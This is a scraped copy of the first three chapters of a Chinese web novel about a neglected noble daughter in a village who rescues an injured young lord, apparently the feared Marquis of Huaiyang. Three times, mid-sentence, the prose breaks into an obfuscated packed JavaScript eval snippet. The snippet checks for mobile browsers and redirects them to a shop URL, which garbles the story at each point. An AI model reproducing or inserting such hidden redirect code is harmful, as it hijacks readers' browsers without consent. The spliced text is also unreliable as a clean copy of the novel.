《谁也不能阻止我躺平》 1. 第 1 章 投胎是个运气活，南泱投胎的运气就跟她这个人一样，普普通通，不算太坏，也谈不上好。 阿父纳阿娘入府当年，还是上京众多勋贵子弟当中不起眼的一个。 自从她出生，阿父一路官运亨通，平步青云；出行前后仪仗，很是风光得意。 相比于阿父这边蒸蒸日上，阿娘的日子正好相反，过得江河日下。 阿娘姓周，府中人称周夫人。年轻时美貌惊人，家中江南大商贾出身，虽说是商户女，阿娘从小也是在钱堆锦绣里养大的。 嫁给阿父的头几年，府中专宠，待遇几乎与正房无异，养高了阿娘的心气。以至于后来受不了打击，发了疯。 对，阿娘是妾室，上头还有个主母。主母才是南泱名义上的嫡母。 阿娘专宠那几年，手握管家内务大权，摆出平起平坐的架势，把女儿带在身边教养，南泱小时候还以为阿娘是家里的女主人。 等阿娘的日子一泻千里、成了府中人人口中的疯婆子之后，南泱当然被移出阿娘的院子。 嫡母有自己的儿女，只说膝下养的孩子太多，照应不过来，单独划给她一个僻静院子，去哪里都远。 小时南泱还算得宠。 等她一年年长大，渐渐长成了府中的摆件。 十五岁这年，南泱病了一场，被送去乡下养病。 代表女子长成的及笄礼，也就顺势在乡下镇子行过，由嫡母委托族中长辈主持，阿父未露面，这般平淡而敷衍地过去了。 从小跟在南泱身边的乳母辛媪以泪洗面。 主母不是个省油的灯，多年隐忍不发，上一代的恩怨报复去下一代，把庶女的及笄礼故意办在乡下，办得如此寒伧，这是打算毁了南泱一辈子啊！ 南泱自己倒觉得，有吃有喝，无人打扰，日子还过得去。 相比于本家大宅整日拘束在一方偏僻院落里不得出，乡下镇子环山傍水，门禁松弛，想出门看风景便能出门看风景，日子比京城的深宅大院好过。 如果有什么烦恼，也有。 京城本家送吃喝用度的次数越来越少，嫡母似乎时常忘了乡下有个卫家女儿，有时两个月送一次，有时三个月送一次，份例减半再减半，最后维持在有布穿，不饿死。 第二件事偶尔在她心里滑过。 阿娘得宠那几年给她张罗的一门亲事，近年静悄悄的，再无声响了。 —— 仲夏六月。烈日炎炎。 南泱一大早在激烈的争吵里醒来。 京城本家送吃用的马车是天不亮到的，卸下货便要走。 乳母辛媪，也就是南泱平日唤的阿姆，匆匆清点了这趟送来的米粮，气得发疯，把送吃用的管事堵在门里一声声地骂。 “看看你们送来什么货色！陈年谷子朽烂米，这是人能入嘴的？二娘子下乡养病的身子，哪能吃发霉的烂米？” 阿姆扯开一个麻袋，掬起一把发霉谷子泼去管事脸上，“睁大眼睛看看，谷子都黑了！你吃不吃？你自己吃不吃！” 管事姓丁，大清早被泼了一脸烂谷子，赶紧抬袖子挡脸，满脸晦气。 “得了吧辛嬷嬷，你当赶车下乡是什么好差事？这趟谁想来？车上装的吃用又不是我准备的，冤有头债有主，有本事你自个儿走回京城，把烂谷子撒主母身边几个得力的嬷嬷脸上，冲主母撒泼去。”擦着脸吆喝车夫回程。 阿姆揪住丁管事的发髻衣襟不放手，“说清楚了再走！这车烂谷子是主母身边哪个不要脸的老货经的手？我回京找她们拼命！” 丁管事哎哟哎哟捂着头皮拉扯，死活不肯吐露人名。 几个送货婆子冲上来给丁管事解围，七嘴八舌要挟，“辛嬷嬷莫撒泼了！丁管事要回禀主母二娘子在乡下养病情况的。你扯烂了丁管事一身好衣裳，叫丁管事没脸，回去主母面前，丁管事可不会替二娘子说好话！” 阿姆一呆，揪住丁管事发髻的手脱力松开了。 丁管事抱头鼠窜冲出门去，上车狠狠吐了口唾沫，“人都送来乡下了，还捧着二娘子当主子呢？女儿随娘！上头有个疯子娘，谁知道女儿会不会犯疯病？本家供你们吃喝不错了，嫌弃烂谷子？下次连烂谷子都没得吃！” 阿姆气得追出门外，指着远去的车马烟尘大骂，“你们这帮黑心烂肺的刁奴才！二娘子再不济，也是卫家家主亲生的女儿，身上流着卫家的血！怠慢主家要遭报应的——！” 两个看门婆子连拉带扯把阿姆拉回，关上大门。 南泱穿好鞋袜走入庭院时，阿姆还在不死心地一袋袋翻检，意图从霉烂陈谷里头寻一些可食用的谷米。 南泱上手翻了两把，被霉气熏得呼吸不畅，扎拢口袋商量：“人是不能吃了，阿姆，卖给养猪的农户吧。” 阿姆强忍的眼泪唰地落了下来。 “上次开春送了一趟。这都六月了，才又送来一趟，下次只怕要等到秋后，说不好要进冬。后头几个月……” 阿姆哽咽着扔开霉烂谷子，坐倒在庭院里。 “把咱们两个孤零零扔乡下，怎么活啊。” 南泱坐去阿姆身边，轻轻抱了抱乳母颤抖的肩头。 “家里两个人，外头还有乡老邻里，怎会孤零零的呢？乡下野生吃食不少，春天采桑叶榆钱，夏季摘莲蓬挖菱角，连吃喝带卖，怎么都能活。 ” “哎我的二娘子，这些乡野活计哪是你的身份该经手的。”阿姆眼角泛红，陷入伤感难以自拔。 “你这样的闺秀女郎，花样的年纪，本该在家里好端端地坐着读书饮茶，女红刺绣，三四个贴身女婢服侍起居，外头七八个粗使仆婢洒扫庭院，无忧无虑的，只管待嫁……你看看他们送的布！这种粗葛布是下田耕地的农夫婆子穿的啊 ……” 阿姆的叨叨声里，南泱起身去厨房转了一圈。 米缸日日见底，连田鼠都不爱光顾。昨晚煮的粟粥在锅里，放冷了结成一大块。 她以锅铲切出方方正正两小块，一块给阿姆，一块给自己充作朝食。 阿姆哑然看南泱换上一身短打葛衣，摘下墙上挂的斗笠，穿上草鞋，白生生的脚脖子在天光里露出来，宛如外头不知礼数的乡野少女的打扮，腰间挂一把割草的镰刀，把斗笠细绳系在白皙脖颈间。 “二娘子又要出去？” 阿姆惊疑道：“两个看门婆子今天都来了，人守在门外头，她们定不会放你出去的。” “那两个看门婆子惫懒得很。今天在本家来人面前露过脸，丁管事都走了，她们不会老实守门的，肯定都归家去了。” 南泱说着，悄无声息走过紧闭的大门前，伸手拉了下门。 大门从外被一把铜锁锁住。 门外果然空无一人。 南泱放了心，搬出一把梯子搭在围墙上，慢腾腾往上爬。 卫家是京城大族，在平安镇这处乡下小镇置办的宅院是当地数一数二的大宅子，围墙也高。 爬出去有点费事，她平常一般懒得出门。 但不出门不行了。总不能抱着阿姆饿死在家里。 镇上都是自建的宅子，修成什么形状都有，卫家附近一片大抵是富户，盖的都是平整的砖瓦房。 左边相邻的人家有个五岁的小儿子，此刻正站在自家门外，抓一只竹马，乌黑眼睛睁大，好奇地盯向院墙上方出现的少女。 “卫家阿姐，你又翻墙出来啦？” 南泱把食指放在唇下，比出“嘘”的动作。邻家小儿子恍然大悟，咯咯笑着捂住自己的嘴。 小男童片刻又放下手，对走过身边的少女道： “卫家阿姐，今天不好出去玩儿的。阿娘不许我出去，说外头危险，跑远了要打我屁股。” 南泱停步问：“怎么个危险法？今天我得出门找吃食，不出门要饿肚子了。” 小男童大惊失色，连连摆手，“那你还是出门罢。” 隔壁娘子听到动静，急匆匆把儿子抱回门里，远远对南泱递来复杂一瞥，低头教训儿子： “少多事，快回家。” 南泱顶着斗笠往前走。 乡间小路不像城里道路时时洒水，夏日尘土飞扬，被烈阳炙烤得热烘烘的青草泥土气息混杂着驴粪蛋的臭气扑入鼻下。 隔墙还能远远地听到邻家娘子教训儿子。 “她家小女郎身上有疯病，少和她搭话。没见她腰上挂一把镰刀？！万一当街发起疯，抓起镰刀砍你几下，你这条小命可就白送了。卫家是大户，咱们平头老百姓惹不起也躲不起，只能离她家远点。” 小男童嗓音清脆，大为吃惊：“卫姐姐才不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140622|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯婆子呢。她说她出门找吃食，不然要饿肚子了。大户人家也会饿肚子吗？” “小傻子，你还真信了？没看到早晨停在卫家门外的大车？卸下那许多袋米粮，整箱子布料！卫家是京城做官的大户人家，家里怎会缺吃食？得了疯病的人就会胡说八道，说什么都不能信……” 南泱摸了摸肚皮，低声嘀咕，“谁得疯病了？谁胡说八道了？正挨着饿呢。不挨饿谁喜欢大热天出门。” 头顶烈阳炙烤大地，斗笠也挡不住几乎冒烟的腾腾热气。她加紧脚步往河边走。 今年雨水丰沛，是个好农年。这处小镇依山傍水，盛夏季节去河湾深处，可以摘荷叶，采菱角，挖莲蓬，运气好的话还能网几条鲜鱼活虾。 被五岁的小邻居提醒一句“危险”，她路上额外多留意几分。 一路出镇子去外河，路上果然不见了往常走村穿巷、大声吆喝的货郎；水渠边也不见惯常蹲一大排锤洗衣物的村妇。 田里稻麦将熟，大片黄澄澄的麦穗随风摇晃，居然连伺候庄家的农人都稀稀拉拉不见几个，也不知人去了何处。 耳边太清净了。 空旷田埂显出几分不寻常的幽静，静得让人心中不安宁。 河边同样出奇的安静。 整个镇子有船的人家不多。每到水产丰沛的夏季，各家都把船牢牢看紧，无论自家去水湾深处捞个好收成，还是租赁给别家，总归不会白白浪费一天。 今日倒好，水边无人看船，更无人用船。 十几只小船横七竖八地系在水边，随着水波上下漂浮。 南泱等了半日寻不到船主，冲四周喊了几嗓子，还是无人应答，便解下一只船头绳索，跳上船去。 没想到小船一动，还没划出十尺，有人在岸上大喊起来，“船上那丫头，谁许你动我家船了？” 原来蹲守岸边看船的妇人还是有三两个。 日头太烈，妇人们远远地躲在树荫下纳凉，她没看见对方，妇人也没留意她。 南泱早有准备，从钱袋子里数出十个大钱，捏在手里冲岸边挥几下：“不白用你家的船，十个钱租一个时辰，摘回来的莲蓬分阿嫂几个！” 岸边那妇人大喊：“不差这十个钱，你回来！这两天镇子边上不太平！” 南泱没应声，心想，镇子哪里不太平，她一路没见到，但锅里的粟粥可是实打实地见底了。 京城本家送来的霉烂谷子发黑了，猪都不爱吃，也不知阿姆能不能顺利卖给养猪人家。今年还有六个月，如何过？ 她不声不响地划浆。 小船本就是采莲船，船头尖尖，船身细长。木桨划动几下，船头便破开水面，白色水浪翻起，仿佛一支小小的箭头往水湾深处而去。 今日处处被人提醒附近不太平，南泱慢慢地划桨，人格外留神四周。 小船平稳扎进荷塘深处。 日头近了午。她顶着大荷叶，摘了满船头的莲蓬，个头饱满的莲子剥开吃了个饱，只见满眼荷花，流水潺潺，荷叶下游鱼乱窜。 除了阳光太亮，刺得眼睛发疼，并没见到哪里不太平。 所以，到底出了什么流言，让镇子上的人家紧张闭门躲避？ 填饱的肠胃暖洋洋的。南泱有点犯困，觉得比起关门饿死的危险，偶尔出门一趟其实不算多大的危险。 等她提着半袋莲蓬归家去，外头再危险，不出门就是了…… 刚想到这里。 缓慢摇动的船桨碰触到某个异常物件。 有东西顺水而来，漂近小船。鼻腔里传来隐约的腥气。 南泱本能地一扭头，望向船边浮浮沉沉的硕大物件。 看清的刹那，猛吸口凉气。 水里漂浮着一匹死去的马。 这是一匹遍体鳞伤的死马。肢体健壮，皮开肉绽，惨白肋骨刺出胸腔。不像是淹死的，倒像是高处摔死的。 马显然新死不久，马尸流淌的鲜血还在丝丝缕缕地渗入水中，搅浑了清澈水面。 顺着水流轻轻碰触木浆的，是摔得稀烂的马头。 南泱若有所思地盯了一阵水里死状惨烈的马尸。视线越过水面，越过大片荷花荷叶，望向荷塘对面的高地。 不知是不是错觉……似乎有个人影一动不动地趴在水边。 2. 第 2 章 南泱平常不怎么出门。 今天既然花大功夫出了趟远门，人在小船上，船在荷塘深处，肥白莲藕正当季。有句俗话说：来都来了。 她挥动木浆，把水里浮浮沉沉的马头推远些。 “阿弥陀佛。”南泱小声念佛，“佛祖在上，眼前摔死的这匹马，还有岸边摔死的那个人，愿你们早去净土，顺利轮回。可别在摔死你们的这片山地长久耽搁……我要过去摘藕了。阿弥陀佛。” 木浆划动，小船转向，轻盈穿过阳光下盛开的大片红粉荷花和碧绿荷叶，行驶向浅水处。 南泱会水，但水性不大好，脚踩不到底的水深处采藕有风险，靠近水岸的浅水湾采藕安全得多。 她划船靠近的这处浅水弯几乎靠近对岸了。 小船出发的河岸远远落在身后，当中隔开铺满半片水面的碧叶荷花。 对岸环山，地势明显陡峭许多。 南泱慢慢地划浆靠近，目光没忍住，瞥向右侧边，扫过水边倒伏的一动不动的黑影。 窄袖玄袍，明显是男子，身后拖一条血痕。 连人带马摔下来的吧…… 铛地闷响，木浆又碰着什么物件。南泱本能地拨一下，把水里漂浮的半具摔烂的马鞍拨开。 马鞍顺水飘走了。 她停下划桨，盯了一会儿岸边动也不动、疑似和马一起摔死的玄袍男尸，又回头看水里浮沉的马鞍。 虽然摔得破破烂烂，只剩半具马鞍，但剩下的部分还是能看出些名堂。 比如说，马鞍錾刻金银，鞍桥镶嵌白玉片。 这可不是寻常马鞍。 摔散了架的半具马鞍至今还剩几片碎玉片挂着，在波光水面浮浮沉沉，反光刺眼。 她多看了两眼，眼睛都刺痛起来，只好转开目光，继续盯着水边倒伏的男尸发呆。 金银装镶玉马鞍，豪族子弟出行常用之物，在京城和各地州府大城都不算罕见，阿父就有一副。 不过在乡下镇子不多见。 也不知哪处的大户郎君，跑来这处小镇游山玩水，连个随从也不带？水边不小心摔死了，收尸的人都寻不到。 南泱的目光一动，顺着尸体身后一段血迹，望向远处。 环绕水岸的山峦起伏，有几处突兀的陡峭石坡，约莫五六丈、六七丈，其实不算高。 但如果顺着山道跑马太快，不熟悉地形的外乡人一下没收住马，直接从石坡陡峭的一边滚下来，连人带马，够摔死几回了。 也不知这倒霉郎君从哪处山坡摔下来的……马死得好惨，人只怕更惨。 小船慢悠悠地靠近水边。 南泱在离岸五尺处停了船，不敢细看那人摔成个怎样的肉饼，低声念了句：“阿弥陀佛，早生极乐。你去你的西天净土，我挖我的莲藕莲蓬，咱们井水不犯河水”。 趴去船边，把衣袖挽起，露出白生生的胳膊，猛摇几下莲蓬，又伸手去摸水下的莲藕。 好肥壮。又多又肥壮。 她解下镰刀，开始专心致志地割莲藕。 船头陆续摆上新采摘的十几二十个鲜嫩大莲蓬，七八根肥白莲藕。 南泱喘着气坐回小船，擦一把额头细汗。日头太烈，短短片刻功夫，暴露在阳光下的手臂已晒红了。 视野里有点不对。 她停了停，目光往右侧去，瞥向岸边。 五尺外的岸上，连人带马摔下挣扎的一条血痕还在。摔死在岸边的静静倒伏的男尸…… 男尸动了！ 原本以俯趴姿势倒在水边的男尸，不知何时，竟然自己挪动了两尺，如今半个身子还在岸上，半个身子栽倒在水里！ 南泱这一记惊吓得不轻，跌坐去船上。细而狭长的采莲船在水里剧烈晃动起来。 她扒着船舷不放，呼吸不畅，目光还死盯着岸边突然自己挪动的男尸。 青天白日，烈日炎炎的，诈尸！ 屏息静气片刻，她眼睁睁看到，上半身栽倒在水里的可疑尸体……又动了。 沾满血污的指节蜷起，握拳，又张开，五指仿佛一把利刃，深深扎入水下，扣住水底砂石。 水面激荡起圈圈涟漪。 四五尺外的水上，采莲小舟顺水摇晃，船里的少女趴得与船沿齐平。尖尖的船头下方悄然露出一双谨慎的乌黑杏眼。 水面已是一片浑浊。被诈尸的动作掀起水下泥沙，血水染红水面。 面朝下趴在水里的男尸似乎费尽全力，终于，把他自己翻了个身。 男尸如今面朝上漂在水里了。 南泱：…… 面朝上漂着，或许，尸体舒服点？ 之后半晌没有动静。南泱小心翼翼把自己抬高一点，从船头露出半个脑袋，依旧紧盯可疑男尸不放。 烈日耀眼，短短四五尺距离之外，岸边景象纤毫毕现。她如今可以清晰地看见对方了。 男尸虽然摔得不轻，满脸血污，身上血肉模糊，全是碎石割伤痕迹，但离她想象的“摔成一团肉饼“的惨状还差得远。至少，她可以清晰分辨出对方的五官相貌。 男尸年纪并不大，看来也就二十出头。顶着满脸血迹，依旧看得出天庭饱满，鼻梁挺直。若把脸擦洗干净了，应该是个颇为俊朗的郎君。 南泱正惋惜地想，可惜了，年纪轻轻的…… 男尸周围的水波突然一荡。 光天化日的，又诈尸了。 南泱屏息静气缩在船头，眼看着男尸蓦然一把抓住两只莲蓬茎叶，把自己撑起几寸，挺直的鼻梁探出水面——深深吸入一口长气。 这点细微动作，仿佛耗光了所有诈尸之力。 男尸上半身砰然倒回水里，激起大片水花，再度一动不动了。 南泱：…… 电光火石间，她终于想通了。 眼前的诡异场面哪是诈尸？挣扎了半天，力竭耗尽，只为深深吸一口气，分明人没死啊！ 她屏住至今的一口气终于也呼了出去。 没死就好。 驱鬼除祟的事她做不了，如果光天化日诈了尸，她只能抛下这一大片肥壮鲜藕疯狂摇浆回程，可惜得很。 采莲小舟破水前行，停在还在微微晃动涟漪的荷塘边。重伤的男人沉在水下，双目紧闭，满是血污的手依旧牢牢抓握住莲蓬根茎不放。鲜嫩饱满的大莲蓬在阳光下摇晃不休。 南泱顺手一镰刀把大莲蓬摘了。 男人抓握莲蓬茎秆的手骤然抓了个空，不由自主地松开，本能在半空中试图握住什么。南泱眼疾手快抓住对方的手腕。 这实在是一只惨不忍睹的手。 手心、手背，处处血肉模糊，翻出艳红皮肉，尾指几乎露出白骨。手腕是这只手唯一干净的地方了。 “马都摔死了，居然没摔死你……” 南泱把船停在水边，跳下浅水，扯着男人的手腕，借着河水托举浮力把人往岸上拖。 “可见你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140623|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个命大的。下次惜点命，别再跑马了。” 才拖两下，人似乎醒了，被她握住的手腕细微地动了动。 南泱一扭头就被吓得呼吸骤停。 男人的发髻早散了。乌黑乱发仿佛水草一般，顺着水流四处飘散。满面血污当中睁开一双漆黑眼瞳。 人沉在水下，黝黑的眼珠直勾勾盯过来。 南泱猝不及防，透过清澈水面和对方对视。来自水下的眼神幽幽的，有点像地下刮来的阴风，她被盯得毛骨悚然。 这场面，与其说是活人对视，倒更像黑无常从水下现身，来阳间找她索命…… 大惊之下，她本能地一抬手，啪，一巴掌扇过去。 水花飞溅。 血污中睁开的漆黑眼瞳闭上了。 挨了一巴掌的男人彻底昏迷过去。 南泱收回火辣辣的手掌，抹了把脸上溅湿的水珠，急促的呼吸平缓下去。 溅泼了一脸水，她也清醒过来。 水里这位虽然眼神可怕，但被她按住的手腕脉门还有细微脉搏，微弱而有节奏地跳动着……明显是个活人啊！ 无声无息死在水边也就罢了。命大被她遇上，人又挣扎着想活，总不能被她一巴掌拍死在水里。 南泱赶紧把人拉回岸上，尽量轻手轻脚地查验伤势……带点茫然停了手。 遍体鳞伤，上好质地的深色锦袍被碎石撕割得破烂不堪，全身不剩几处好皮肉，到处涌血。 但粗略摸了下四肢大骨，要紧的脊椎、肩胛、腿骨、膝盖、脚踝，居然都没摔碎骨头？ “运气这么好的么？”南泱喃喃地道。 为了阿娘的疯病，她读过几篇医书，知道哪怕没有落下致命外伤，五脏内腑震动受创也能要了一个人的命。 南泱抬头看看尚早的天色，把男人血污覆盖的脸几下擦拭干净，喂他几口清水。 自己遮阳的大荷叶留给他脸上盖着，再留下一根嫩藕，放在男人手边。 “我不是郎中。船太小，坐不了两个人，救不了你。” 南泱把男人的手搭在藕上，轻声嘀咕，“只能替你带个话，让镇子上医馆的黄郎中来救你。黄郎中爱走富贵门路，冲着你的金玉马鞍，他也得来。你若真的命大，撑住了。” 男人搭着藕节的手指细微颤动一下，也不知清醒没有。 南泱等了片刻，不见对方睁眼，惦记家里的阿姆，跳上小舟，原样划桨回返。 这趟满载而归。 四五十只饱满大莲蓬，外带十几二十节肥白鲜藕，沉甸甸地装满一大袋。连吃带卖，足够四五日嚼用了。 南泱弯着眼拖麻袋下船。 树荫下乘凉的看船妇人远远地奔来，她很自觉地摸索钱袋子准备交钱。 看船妇人头一句却感慨： “小丫头，你运气好啊。划船靠近对岸，竟然活着回来了！ ” 南泱：……？ 她活着回来了，很不正常吗？ 看她懵懂，妇人叹了口气：“家里没大人跟你说吗？你在对岸就没看到什么吓人场面？” —— 采莲舟消失良久后。 岸边躺着的年轻郎君细微动了动，满是血污的手攥住嫩藕，缓慢挪去嘴边，咬一大口。 嫩藕脆而多汁。喉结滚动，仔细咀嚼，不放过每一滴水谷滋养。 蒙头遮挡烈日的大荷叶被一把扯下，扔去旁边。 男人沙哑道：“……又是她。” 3. 第 3 章 “家里没大人跟你说危险吗？” 波光粼粼的水边，妇人把小船系好，示意南泱看面前的河。 “你看这条河，河这边是俺们平安镇，河对面是隔壁镇子。” “朝廷新封了个淮阳侯，封地本来离俺们镇子远得很……” 但淮阳侯去封地的半路上，路过平安镇。附近山林闹起山匪，盯上了淮阳侯的车队，淮阳侯和山匪打起来了！ “山匪到处逃窜，淮阳侯一路追杀过来，带许多兵马，就驻扎在河对岸的隔壁镇子。” 南泱恍然：“哦。” 她没去隔壁镇子，封侯的大贵人当然遇不上，也没遇上追击山匪的激烈场面。 只撞见一位倒霉伤号，山头跑马险些摔死，死马还在水里飘着呢。 “马头都摔烂了。回想起来，也挺吓人的。”南泱如实地说。 看船妇人哎了声，“你这小娘子没见识，摔死一匹马算什么吓人？你这样的年纪相貌，撞上隔壁镇子的淮阳侯，那才叫吓死人！” 南泱没听明白，“淮阳侯打山匪是好事啊。怎么听阿嫂说的，好像淮阳侯比山匪还可怕似的？” 看船妇人连连叹气，瞅瞅左右无人，捂着嘴以气声道： “山匪只是拦路抢钱；那个淮阳侯，他吃人！” 南泱正从钱袋子里倒出一把铜钱，数出十个准备交赁金，听到那句 “他吃人！”惊得手一抖，铜钱从手指缝漏出去两三个。 看船妇人叹着气捡起铜板：“现在听明白了？吓不吓人？吃人阎王住在河对岸！” 南泱脑瓜子嗡嗡的，听妇人念叨：“这淮阳侯可了不得，听说就是去年镇压南边叛乱的凶神！” “凶神打起仗来要吃人，最喜欢吃小孩心，其次就是你这个年纪的小娘子肉。一两天总要吃一个。隔壁镇子听说少了好些小娃儿小娘子，都被抓走吃了，满地吃剩的人骨头……” “对岸没见吃人，也没见吃剩的骨头。” 南泱连道谢都忘了，麻木地走出几步，脚步忽地一停。 差点忘了，对岸水边还有个摔得半死不活的人等救命呢。 妇人一愣，热心地指点医馆位置。 “小娘子面生，不是俺们平安镇上的人吧？镇子只有一家医馆，郎中姓黄，外头挂个绣黄葫芦的大幌子，沿着土路往市集方向走，好寻得很！” 南泱拖着沉甸甸的大麻袋回程，一路留意葫芦形状的幌子，小声嘀咕。 “面生？都在你们镇子住了大半年了。只是不怎么出门而已。” —— 回程想了一路。 外地路过的淮阳候，据说就是去年镇压南边叛乱的凶神，追击山匪追来河边，驻扎在河对岸的隔壁镇子。 淮阳候他吃人……吃人…… 难怪平安镇子几乎空了。农夫农妇不敢下田，隔壁邻家拘着小儿子不许出门。 盛夏烈阳天气，南泱生生起了一身鸡皮疙瘩。 直走出两三里地，她终于从震撼中回过神来。 一阵热风刮过，乡间土路粉尘混着麦秆四处飞扬，绣黄色葫芦的大幌子迎风在面前招展开来。 镇子上唯一的医馆到了。 说起来，南泱为数不多的几次出门经历当中，黄家医馆给她留下了很深的印象。 今年开春，她被送来平安镇不久，乡下宅子门禁松弛，看门婆子时常偷懒，她便偶尔出门看春光。 仲春三月，她抱着一捧栀子花归家途中，正好遇到黄郎中敲锣打鼓把女儿送上马车，绕着整个镇子风光夸耀，轰动全镇。 据说黄郎中的女儿在桑林边救下一位贵人，接去医馆精心医治。贵人感激救命之恩，派车接他家女儿去京城享富贵。 平安镇是个规模不大的小镇，小小医馆郎中的女儿一步登天，在镇子算了不得的大事，四处疯传了半个多月才止歇。 这件事让南泱有些困惑。 因为三月正是采桑季。 当时她也在桑林采桑，亲眼围观过路边倒卧的服饰华贵的醉客。 醉客分明只是喝多了，身上没伤没病的，浇一脸水弄醒就好……哪来的救命的恩情？ × 今天南泱来的不巧。 医馆门外围了一圈看热闹的人。黄郎中坐在堂屋，哭得一把鼻涕一把泪的。 “出门看诊？都什么时候了，还让老夫看诊？！” 黄郎中哽咽抹泪，“我那苦命的女儿啊！老夫只有这一个女儿，含辛茹苦养大，送她去京城享富贵。谁想到，女儿在桑林边救下的贵人，竟是淮阳候那阎王啊！” “我家女儿如花似玉的年纪，生得细皮嫩肉，一看就好吃。自从入了淮阳侯那凶神的府邸，再没消息了。哎，怕早就凶多吉少……” 屋里没人搭理南泱，她默默退出几步，去人群外头。 外头一群看热闹的妇人交头接耳，南泱站着不动，话头自己往耳朵里钻。 “黄家女儿不是三月份才被贵人马车接走？当真送进了淮阳侯府？被……被吃了？” “不可能罢。都说黄家女儿救了贵人一命，才被接去京城享富贵。淮阳侯再穷凶极恶，总不会害了救命恩人的性命。 ” “说起来，淮阳侯就在隔壁镇子，黄家女儿到底是死是活？” “嗐，谁知道……” 等了等，黄郎中还在抽噎着哭女儿，南泱分开人群又走进医馆。 “我替人传个话。有个郎君运气不好，从山坡高处连人带马摔下来，摔死了马，人还活着。离医馆有些远，迟了怕人没救了。” 黄郎中抹着泪骂：“去去去，我女儿如今死活不知，老夫管不了其他人死活。” “哦，我也只是替人传句话。” 南泱拖着麻袋要走，走到门边突然想起什么： “对了，那郎君出身富贵，骑的金银装玉马鞍，上好的白玉都摔碎了。黄郎中真不救？” 黄郎中的哭声骤然停了。 南泱话尾音还未落地，黄郎中已经提起医箱，催促带路，“你不早说！原来也是个贵人！或许躲避对岸的淮阳侯才骑马摔下高地。快快快，人在何处，速领我去！” “……” 南泱没打算带路。她真的只替人带一句话就走，身后还拖着个装满莲蓬莲藕的十来斤的大麻袋呢。 把救人地点说清楚，目送黄郎中带着小学徒火急火燎直奔镇子外河救人，自己拖着麻袋归家去。 黄郎中的医馆不算白来一趟，灌了满耳朵的风言风语，南泱恍然明白过来。 原来三月大醉倒在桑林边，因为服饰罕见贵重，被自己围观了好一阵的醉客—— 就是淮阳候本人？？ 嗜好吃小儿心、少女肉的淮阳候，原来不只驻扎在河对面的隔壁镇子，也曾亲自来过平安镇。自己曾和他擦肩而过…… 这个念头升上脑海的瞬间，南泱的手臂上密密麻麻浮起一片鸡皮疙瘩。 身后拖的麻袋都沉重了。 两刻钟后，南泱停在家门口，看门婆子不在，她砰砰砰的敲门：“阿姆，阿姆。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140624|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来了。” 阿姆踩着木梯出现在墙头，惊问：“二娘子，你怎么气色不大好？可是累着了？” “……有点。” 两人合力把麻袋弄进家里，南泱拖着疲惫的脚步进门，自语道： “最近还是不要出门了。” —— 平安镇外河。 骄阳下的水面热气蒸腾。舟船来来回回，什么也没寻到。 “哪有摔伤的贵人？”黄郎中汗流浃背，狼狈地蹲坐船头， “臭丫头耍弄老夫？” 小学徒盯着远处水面发呆。有个晶亮物件在水里浮浮沉沉，几乎闪瞎他的眼睛。 学徒指着水面大喊：“师父，快看！顺水漂远的马鞍，是不是小娘子嘴里说的什么‘金银玉’……” “金银装玉马鞍！”黄郎中精神大振：“快看，那马鞍上好的嵌金银雕工，鞍桥镶的白玉片名贵非凡。” 黄郎中大为激动：“果然有贵人遭难！小船回头，再沿着河岸细细搜寻，务必要把贵人救回医馆。贵人就是登天梯，贵人遭难的机会才是我等的大机缘哪！” 小船沿着水岸来回搜寻，三番五次划桨过荷塘。 河岸边，六七丈高的山坡阴影下。 几支弓箭无声无息张开，冰冷箭头对准船上两人。 山坡背后的阴影处，躺着一副临时搭建的竹木担架。几个身材高大的戎装男子护卫四周。 一个面相斯文白净的文士盘膝坐在担架边，动作熟练敏捷，替担架上的重伤患止血，正骨，敷药，额头的裂伤以纱布一圈圈包裹。 戎装汉子当中为首的将军狄荣，浓眉间一道疤，握刀走来回禀： “主上，来的是一老一少。看他们携带医箱，应是之前的小娘子知会镇子上的郎中，前来救治。人留不留？” 被称作“主上”的年轻男子靠坐在担架上，脸上血污早被仔细擦净，露出浓黑剑眉，悬胆鼻梁，薄削的唇抿着。 他并不搭理那句牵扯两条人命的“留不留”，只抬起手，盯着自己血肉模糊的手掌：“看不清。” 文士边裹伤边摇头：“能看到已经算好了。从那么高摔下来，冲击猛烈，暂时失明也有可能。” 金疮药水清洗手掌，从血肉中挑出碎石砂砾。 受伤的年轻主上骨节明显的手背几根青筋瞬间绷起，听他的声音却完全听不出正在忍受清创剧痛： “哪个镇子的郎中，认得出么？” “认得出，平安镇！又是黄郎中。” 狄荣啐了一口：“那贪慕富贵的老儿！他寻不到我们，小船掉头，追水里的马鞍去了。怕不是要捞去卖钱？” 